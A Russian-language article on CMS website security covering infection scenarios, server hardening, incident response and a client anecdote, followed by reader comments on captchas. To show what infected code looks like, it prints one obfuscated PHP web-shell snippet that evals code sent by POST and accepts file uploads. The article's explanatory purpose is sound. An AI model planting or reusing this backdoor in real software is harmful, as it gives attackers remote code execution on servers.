Безопасность CMS систем

При разработке проектов различного масштаба проблема безопасности часто откладывается «на потом», а экспертиза в этом вопросе сводится к накидыванию стереотипов – кто каких нахватался. Мне часто приходится слышать при обсуждении стека проекта аргументацию, что, мол, «Битрикс не безопасен», «Wordpress – решето», «любой Opensource вообще зло, т. к. за него никто не отвечает» и т. п.

Как всегда в «не черно-белом мире», все эти утверждения имеют в своей основе зерно истины, однако не являются столь однозначными. О чем я и хотел бы поговорить в данной статье и помочь взглянуть на проблему более глубоко – тем, кто особо не нырял в детали.

Механизмы заражения сайтов

Почему и зачем сайты вообще заражают? Тут может быть несколько общих сценариев:

  1. Заражение «глупым» автоматическим скриптом. Постоянным «фоном» на сервера в интернете производятся атаки, попытки сломать ну хоть что-нибудь. Вирусы «широкого профиля» прежде всего сами наверняка не знают, в какую CMS они внедряются, а поэтому перебирают возможные уязвимости «наугад». Логично, что чем популярнее используемая CMS, тем больше вероятность, что вирус будет чуть более специализирован под неё, т. к. это увеличивает шансы успешного заражения.
  2. Более специализированные атаки. Например, не так давно производилась целенаправленная атака на сайты, использовавшие CMS 1С-Битрикс. Здесь мы имеем дело по факту тоже с атакой, которая производится ботами в автоматическом режиме, и не нацелена на нанесение вреда какому-то конкретному проекту. Однако, поведение вируса уже более интеллектуальное и рассчитано на работы внутри конкретной CMS, учитывает её особенности и возможные уязвимости.
  3. Непосредственная охота конкретно на ваш ресурс. Самая неприятная история. Цели здесь могут быть разные, например кража денежных средств, если проект связан с финансами. Или кража кода проекта, если этот продукт сам по себе инновационный и имеет ценность. Ну или в целом компрометация бизнеса.
  4. А ещё бывает, что и вовсе никакого вируса нет. Просто обстоятельства «внешней среды» наложились на особенности (или баги) вашего проекта таким образом, что кажется, будто это кто-то выполняет злонамеренные действия. А на самом деле система просто пытается работать «как обычно» в совершенно необычных для неё условиях.

Профилактика вирусов широкого профиля

Рассмотрим сперва первые два случая. Цели у «вирусов широкого профиля» могут быть разные: например, эксплойт попытается модифицировать контент на вашем сайте, отобразить рекламу или перевести пользователя на другой ресурс. А, возможно, ваш сайт ему вовсе не нужен и конечная цель атаки – это посетитель сайта, у которого в браузере запустится вредоносный JavaScript. Либо же наоборот, атака будет направлена «внутрь», на ваш сервер, чтобы, например, использовать его мощности для проведения других атак или банально для майнинга / рассылок и т. п.

"Они" всегда рядом, и если до вас ещё не дошли - то, скорее, просто потому что Интернет огромен, а ресурсы ограничены, и ваш черёд ещё не пришел. 
"Они" всегда рядом, и если до вас ещё не дошли - то, скорее, просто потому что Интернет огромен, а ресурсы ограничены, и ваш черёд ещё не пришел. 

Чтобы обезопасить себя от возможных неприятностей, нужно понимать несколько базовых вещей:

  1. Чем популярнее ваша CMS, тем больше под неё написано разных вирусов. Поэтому если используете, например, WordPress, то за обновлениями придётся следить особенно тщательно. Это не призыв пользоваться непопулярными CMS или всегда писать кастом, просто эти риски должны быть учтены.

  2. Важны не только обновления основной системы, но и дополнительных модулей, которые разработчик решил использовать. Поэтому одним из критериев выбора технологий или же готовых решений для вашего проекта должна быть частота выхода обновлений. Чем меньше обновляется код продукта, тем больше вероятность, что в нём раскопали какую-то дыру, и регулярно используют. Так что в гипотетической ситуации, когда у вас с одной стороны есть идеально подходящее решение, но очень старое, а с другой – менее подходящее, но постоянно поддерживаемое – возможно, стоит все-таки использовать второе, т. к. в долгосрочной перспективе это создаст меньше рисков.
  3. В наличии уязвимостей «виноваты» не только CMS и «плохой код разработчиков». То, как настроен сервер – тоже влияет. В ряде случаев это даже более существенный фактор. Грубо говоря, если сервер слишком многое позволяет пользователю, из-под которого запущен сайт, то риски кратно возрастают независимо от того, на чем ваш проект написан. Нужно удостовериться, что системный администратор это тоже понимает– если настраиваете сервер сами. Либо, если такой компетенции или потребности нет – использовать хостинг-провайдеров, у которых есть специализированные под вашу CMS тарифные планы. Т. к. это повышает шансы, что там уже всё заранее настроено с учётом особенностей системы.

  4. В продолжении серверной темы: недостаточно один раз всё настроить и оставить в неизменном виде работать годами. Серверное ПО также регулярно нуждается в обновлениях, так что эти работы тоже стоит закладывать в план, хотя бы несколько раз в год подтягивать систему к актуальному состоянию.

В общем, рецепт успеха = выбор качественно поддерживаемых решений + правильно настроенный сервер + регулярные обновления.

Профилактика целенаправленного взлома

Принципиально подход тут тот же, но «градус паранойи» должен быть на порядок выше. А значит и затрат это потребует бОльших.

Самое первое, что тут стоит сделать – это именно обратить больше внимания на серверную часть. Причем независимо от того, какой фреймворк и CMS используется: в этом контексте вообще не существует более «безопасных» систем, все они одинаково уязвимы. В общих чертах на стороне сервера необходимо:

  • Изолировать среду выполнения сайта от среды операционной системы. Здесь на помощь приходят контейнеризация и виртуализация.

  • Не допускать запуск любых исполняемых файлов кроме тех, которые необходимы для работы сайта / других сервисов.

  • Запретить изменение тех файлов, которые являются системными, в том числе ядра самой CMS или фреймворка.
  • Иметь работающую систему логирования событий на сервере, чтобы в случае инцидента не оказаться в информационном вакууме. Настроить ротацию логов, чтобы историю событий в системе можно было проследить достаточно глубоко, если факт уязвимости был обнаружен существенно позже момента, когда был осуществлён взлом.

Про регулярные бэкапы я вообще молчу – это святое. И относится, скорее, к теме восстановления после апокалипсиса, а не к вопросу о предотвращении такового.

Я намеренно не углубляюсь в детали, чтобы не превратить эту статью в гайд для разработчика или системных администраторов. Важно, чтобы исполнитель понимал, во-первых, что это вообще необходимо, а во-вторых, мог это настроить, имел реальный опыт.

После сервера второй по важности идёт уже зона ответственности разработчика: отсутствие уязвимостей в коде, архитектура, учитывающая требования безопасности и т. п. У каждого выбранного фреймворка или CMS есть свои особенности, как правило они описаны к документации по развертыванию системы в production-среде. К этим инструкциям и рекомендациям, разумеется, стоит отнестись внимательно.

Также, в среде разработчиков есть базовые правила по написанию кода, безопасных SQL-запросов и обработки запросов к серверу. Они настолько базовые, что их несоблюдение – это на сегодняшний день уже на грани профнепригодности, поэтому качество команды тут встаёт на первый план. При этом я не отрицаю возможность привлекать на проект джунов – напротив, порой даже на очень сложных проектах они могут быть полезны. Но важно, чтобы в команде разработки был поставлен на поток процесс код-ревью, был грамотный и ответственный тимлид.

Наконец, слабым местом любой CMS или фреймворка является админка. То есть взломать могут в первую очередь компьютер пользователя, получить логин и пароль в админку, и там уже…. В такой ситуации дополнительно закрывать вход в административную часть с помощью, например, корпоративного VPN или белого списка IP- адресов – мера более чем адекватная.

Если неприятности все-таки случились

Увы, любое количество мер для повышения безопасности никогда не даст гарантии, а лишь понизит шанс того, что что-нибудь нехорошее произойдёт.

Если вы стали жертвой «вируса широкого профиля», то скорее всего это даст о себе знать одним или несколькими симптомами:

  1. Медленная работа сайта, долго открываются все или некоторые страницы.

  2. Либо же полная неработоспособность сайта или отдельных его разделов.

  3. Посторонний контент на страницах сайта, редиректы на другие ресурсы.
  4. Высокая нагрузка браузера пользователя при открытии сайта.

Как разработчики производят поиск вируса? Часто проблема находится вручную. Например, в коде заражённой страницы сайта разработчик находит подозрительный паттерн, после чего запускает сканирование всех исходников проекта на наличие этого паттерна или его фрагмента. Найденные файлы стоит сперва проанализировать, а не вслепую удалять, т. к. возможны ложные срабатывания, особенно если ваш проект использует какие-либо пропиетарные библиотеки с обсфуцированным кодом: этот метод используется как для защиты авторских прав, так и для шифрования содержимого эксплойта, чтобы скрыть механику его работы.

Вот для примера содержимое одного из вирусных файлов:

echo 7457737+736723;$raPo_rZluoE=base64_decode("Y".chr(109)."F".chr(122).chr(90)."T".chr(89).chr(48).chr(88)."2"."R"."l"."Y".chr(50)."9".chr(107)."Z".chr(81)."="."=");$ydSJPtnwrSv=base64_decode(chr(89)."2".chr(57).chr(119).chr(101).chr(81).chr(61)."=");eval($raPo_rZluoE($_POST[base64_decode(chr(97).chr(87)."Q".chr(61))]));if($_POST[base64_decode("d".chr(88).chr(65)."=")] == base64_decode("d"."X".chr(65).chr(61))){@$ydSJPtnwrSv($_FILES[base64_decode(chr(90)."m"."l"."s".chr(90)."Q"."=".chr(61))][base64_decode(chr(100).chr(71).chr(49)."w"."X".chr(50)."5".chr(104)."b".chr(87)."U".chr(61))],$_FILES[base64_decode("Z".chr(109)."l"."s".chr(90)."Q".chr(61).chr(61))][base64_decode(chr(98)."m"."F".chr(116)."Z".chr(81).chr(61)."=")]);};

Маловероятно, что разработчики сайта будут сами писать такой код 😊

Но есть и автоматизированные средства проверки. Правда, скорость их обновления часто не соответствует частоте выхода новых эксплойтов. Например, для Битрикса есть модуль, который не обновлялся уже два года. И хотя сами разработчики Битрикса, начиная с версии 23, включили утилиту «поиск троянов» в свой «проактивный фильтр» – не стоит полностью полагаться на то, что если этот модуль ничего не нашел – значит на сайте точно ничего нет. Всегда отчёты и рекомендации любых автоматизированных инструментов приходится верифицировать вручную и проводить дополнительный поиск.

Важно проанализировать не только сам сайт и его исходники, включая ядро, но и анализировать положение дел на всем сервере в целом, т. к. вирусы могут оставить закладки внутри вашей системы и через некоторое время заразить ваш сайт повторно, несмотря на то что прошлый набор уязвимостей вы уже закрыли. Ранее я уже рассказывал об одной такой ситуации на наших собственных dev-серверах, когда вирус предполагал, что его будут удалять, и заблаговременно оставлял в системе закладки, чтобы воскреснуть вновь.

В среднем устранить внешние симптомы «вируса широкого профиля» можно в течении нескольких часов, но окончательная зачистка всего проекта и сервера от его следов может занять порядка недели.

С целенаправленным взломом всё сложнее, его симптомы и проявления гораздо менее предсказуемы. Основная проблема тут в том, что мы уже сражаемся не с автоматизированным скриптом, который не способен ничего предпринять за рамками своего алгоритма. В этой ситуации мы имеем дело с живыми людьми, которые могут в реальном времени сопротивляться нашим попыткам предотвратить вторжение и закрыть брешь. Поэтому, на время инцидента важно:

  • Ограничить функциональность системы или даже временно отключить
  • Временно деактивировать лишние учётные записи, ограничить возможность авторизоваться в системе и зайти на сервер.
  • Само собой — сброс всех паролей, замена всех ключей авторизации и т. п.
  • Проверить логи сервера на предмет подозрительной активности. Посмотреть, не было ли нетипичных для системы запросов. Не появилось ли странных файлов.
  • Подключить к «расследованию» как администратора сервера, так и разработчиков системы, т. к. скорее всего уязвимость комплексная – и в коде, и в конфигурации самой системы.

Когда вирус вам только кажется

Но бывают и ситуации, когда дело не в вирусе, а в непрофессионализме людей, поддерживающих сайт. Тот случай, когда разработчики / администраторы сайта пытаются что-то починить, но в результате ломают ещё больше.

Например, однажды мне уже в панике позвонил... теперь уже клиент с запросом срочно разработать ему новый сайт, т. к. старый уничтожен вирусами «под корень». Я скептически отнёсся и к тому, что поднять интернет-магазин за три дня – хорошая идея, и к тому, что какой-то залётный вирус мог снести на сервере прям всё-всё-всё.

Когда получил доступы к «уничтоженному» сайту, выяснилось, что все файлы на месте, но предыдущая команда разработчиков пыталась удалить вирусный код из ядра Битрикс. Для этого они запустили обновление системы, но не уточнили комментарии к новому релизу, а там было указано, что нужно сменить версию PHP. Вообще они её сменили, да не на ту… в итоге обновление завершалось с ошибкой, а сам сайт не работал, потому что частично содержал код, несовместимый с указанной в панели хостинга версией.

Разломав сайт окончательно, разработчики отрапортовали клиенту, что их сайт страшный вирус уничтожил, и чинить придётся очень долго — и исчезли куда-то в закат.

Вот и сказочке конец...
Вот и сказочке конец...

В общем, достаточно было переставить галочку в панели управления хостингом, чтобы уже половина сайта заработала. В течении дня наши ребята из DigitalWand завершили обновление до актуальной версии Битрикс, после чего работоспособность полностью восстановилась. А остальные несколько дней уже выискивали и дочищали остатки вредоносного кода на сайте, которые оказались меньшим злом, чем кривые руки исполнителей.

Итоги

Безопасность и защищённость web-приложения – это, по сути, тоже «фича», на реализацию которой требуется потратить время и деньги. Продукт не может быть безопасным просто «сам по себе», просто потому что сделан «лучше», чем другие продукты. Качество кода, используемые технологии и архитектура — это лишь один из факторов, важный, но не исчерпывающий.

Поэтому для каждого проекта нужно принять решение, какой уровень безопасности является достаточным, какие риски вы готовы принять, а какие нет. И, исходя из этого, формулировать требования команде разработки, требования к серверной инфраструктуре и т. п.

Основная же причина, по которой система становится уязвимой, будь это просто сайт или нечто более сложное – это не столько выбор «неправильной» технологии, сколько отпускание процесса «на самотёк», если не на этапе разработки, то на этапе эксплуатации. Ведь так хочется всего только один раз вложиться в написание IT-продукта, а дальше чтобы он работал годами сам!.. Но, фактически, как бы хорошо ни была разработана система – она всё же требует регулярной поддержки и мониторинга, актуализации кодовой базы и сопутствующего софта. В том числе для закрытия возможных уязвимостей.

77
5 комментариев

Комментарий недоступен

Уверен, всё решаемо. Главный минус борьбы с ботами - в жертву приносится удобство пользователей, ведь гораздо удобнее логиниться "в один клик", чем доказывать капче, что ты не робот :-) Если боты ломают и капчу, то следующий уровень - это верификация через телефон...

Раньше можно было эффективно срезать бОльшую часть ботов методикой HoneyPot (когда в форме регистрации есть "ложные" поля, похожие на настоящие, но скрытые от пользователей. И если пришла форма, в которой эти поля заполнены, то значит её выслал бот, и такой запрос не обрабатывается). Но, боюсь, сегодня и боты тоже стали умнее.

Вообще у Битрикса есть свой модуль "проактивный фильтр", и часть вредоносных запросов, которые валятся на сайт, он действительно отлавливает... но тоже не панацея, конечно.

Комментарий недоступен

Каптча каптче рознь, можно попробовать заменить стандартную (которой миллиард лет уже, причём без малейших изменений и прогресса) на внешний сервис. Если ещё не.

Но да, если вопрос не во вреде бизнесу, а просто в раздражении, то затевать разработку тут может быть себе дороже :-)

Комментарий недоступен